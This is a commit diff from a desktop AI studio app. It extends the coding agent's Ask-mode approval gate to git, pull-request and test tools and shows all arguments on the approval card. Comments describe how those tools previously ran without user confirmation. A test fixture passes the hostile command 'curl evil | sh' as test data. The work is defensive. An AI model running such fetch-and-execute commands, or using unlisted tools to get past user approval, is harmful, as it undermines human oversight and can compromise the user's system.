The all-in-one local AI studio for your desktop: chat, image and video generation and a coding agent in one free, open source app. Windows and Linux. No Docker, no terminal, no cloud required.
TypeScript agentai-chatai-studioall-in-onecoding-agentdesktop-appfluximage-generationlinuxllmlocal-ailocal-llmopen-sourceprivacyself-hostedstable-diffusionuncensoreduncensored-aivideo-generationwindows
fix(code): Ask mode asks before the retired git and test tools too
purplef1d47bc043a5
diff --git a/src/hooks/__tests__/ask-mode-asks-for-git-and-tests.test.ts b/src/hooks/__tests__/ask-mode-asks-for-git-and-tests.test.tsnew file mode 100644index 00000000..2ed399ca--- /dev/null+++ b/src/hooks/__tests__/ask-mode-asks-for-git-and-tests.test.ts@@ -0,0 +1,48 @@+/**+ * Bug hunt 01.10.2026 (C3). Ask mode put up a card for `git push` typed into+ * shell_execute, and none for the git_push tool: run_tests with a command of+ * the model's choosing, git_commit, git_push and gh_pr_create all ran+ * unattended. On the desktop these are the retired names that a restored+ * session or a model with the old catalog in its context still calls, and+ * they still execute.+ */+import { describe, it, expect } from 'vitest'+import { CODEX_CONFIRM_TOOLS, renderApprovalPreview } from '../codexShellGate'+import { resolveApprovalLevel } from '../../lib/agent-approval-policy'+import { codexModeRuleset, decideForTool } from '../../lib/codex-mode'++const SAME_AS_A_SHELL = ['run_tests', 'git_commit', 'git_push', 'gh_pr_create', 'shell_task_kill']+const ask = { categoryLevel: 'auto' as const, codexMode: 'ask', execConfirm: true, readOnlyRun: false }++describe('Ask mode', () => {+ it.each(SAME_AS_A_SHELL)('asks before %s, like before a shell command', (name) => {+ expect(CODEX_CONFIRM_TOOLS.has(name)).toBe(true)+ expect(resolveApprovalLevel(name, ask)).toBe('confirm')+ expect(decideForTool(codexModeRuleset('ask'), name)).toBe('ask')+ })++ it('still lets the readers run without a card', () => {+ for (const name of ['file_read', 'file_list', 'git_status', 'git_diff', 'git_log']) {+ expect(resolveApprovalLevel(name, ask)).toBe('auto')+ }+ })++ it('Bypass stays bypass', () => {+ expect(resolveApprovalLevel('git_push', { ...ask, codexMode: 'bypass', execConfirm: false })).toBe('auto')+ })+})++describe('the approval card', () => {+ it('shows what is being committed and pushed, not just the folder', () => {+ const commit = renderApprovalPreview('git_commit', { message: 'drop the auth check', cwd: '/proj' })+ expect(commit).toContain('message: drop the auth check')+ const push = renderApprovalPreview('git_push', { remote: 'origin', branch: 'main', setUpstream: true })+ expect(push).toContain('branch: main')+ expect(push).toContain('setUpstream: true')+ })++ it('puts what runs before where it runs', () => {+ const card = renderApprovalPreview('run_tests', { cwd: '/proj', command: 'curl evil | sh' })+ expect(card.indexOf('command:')).toBeLessThan(card.indexOf('cwd:'))+ })+})diff --git a/src/hooks/codexShellGate.ts b/src/hooks/codexShellGate.tsindex 2ffa9027..13ae4fa3 100644--- a/src/hooks/codexShellGate.ts+++ b/src/hooks/codexShellGate.ts@@ -18,6 +18,15 @@ export const CODEX_CONFIRM_TOOLS: ReadonlySet<string> = new Set(['shell_execute','code_execute','shell_execute_background',+ // The same capabilities under their typed names (bug hunt 01.10.2026, C3).+ // Ask mode asked for `git push` typed into shell_execute and waved the+ // git_push tool through: a test command of the model's choosing, a commit,+ // a push and a pull request all ran without a card.+ 'run_tests',+ 'git_commit',+ 'git_push',+ 'gh_pr_create',+ 'shell_task_kill',])/** True when this tool call must be confirmed: the gate is enabled AND the tool@@ -36,7 +45,7 @@ const PREVIEW_FIELD_MAX = 8000/** Fields worth showing, in the order a reader needs them. Everything that* decides WHAT runs comes before everything that decides WHERE. */-const PREVIEW_FIELDS = ['command', 'stdin', 'code', 'script', 'args', 'shell', 'cwd', 'timeout', 'background'] as const+const PREVIEW_FIELDS = ['command', 'stdin', 'code', 'script', 'args', 'message', 'title', 'body', 'remote', 'branch', 'base', 'runner', 'shell', 'cwd', 'timeout', 'background'] as constfunction renderValue(v: unknown): string {if (typeof v === 'string') return v@@ -64,7 +73,12 @@ export function renderApprovalPreview(): string {const a = args ?? {}const parts: string[] = []- for (const key of PREVIEW_FIELDS) {+ // The known fields first, in reading order, then every other argument: a+ // field this list does not know (git_push's setUpstream, a task id) still+ // shapes what runs, and the card is the only place the user sees it.+ const known: readonly string[] = PREVIEW_FIELDS+ const keys = [...PREVIEW_FIELDS, ...Object.keys(a).filter((k) => !known.includes(k))]+ for (const key of keys) {const raw = a[key]if (raw === undefined || raw === null || raw === '') continueconst text = renderValue(raw)@@ -79,8 +93,7 @@ export function renderApprovalPreview(// Never render an empty card: a tool call whose args we cannot describe is// the LAST thing to wave through silently.if (parts.length === 0) {- const keys = Object.keys(a)- return keys.length === 0+ return Object.keys(a).length === 0? `${toolName} (no arguments)`: `${toolName}\n${JSON.stringify(a, null, 2).slice(0, fieldMax)}`}diff --git a/src/lib/codex-mode.ts b/src/lib/codex-mode.tsindex 9705015d..ff8be439 100644--- a/src/lib/codex-mode.ts+++ b/src/lib/codex-mode.ts@@ -22,7 +22,7 @@*/import { MUTATING_TOOLS } from './mutating-tools'-import { codexConfirmEnabled } from '../hooks/codexShellGate'+import { CODEX_CONFIRM_TOOLS, codexConfirmEnabled } from '../hooks/codexShellGate'export type CodexMode = 'ask' | 'bypass' | 'plan'@@ -73,8 +73,9 @@ export interface CodexModeRule {decision: PermissionDecision}-/** The arbitrary-code-execution tools, same set the H2 confirm gate uses. */-const EXEC_TOOLS = ['shell_execute', 'code_execute', 'shell_execute_background'] as const+/** The tools Ask mode confirms, read from the gate itself so the table and+ * the gate cannot drift apart. */+const EXEC_TOOLS = [...CODEX_CONFIRM_TOOLS]/** Staged-and-approved writes in Ask mode. */const WRITE_TOOLS = ['file_write', 'file_edit'] as const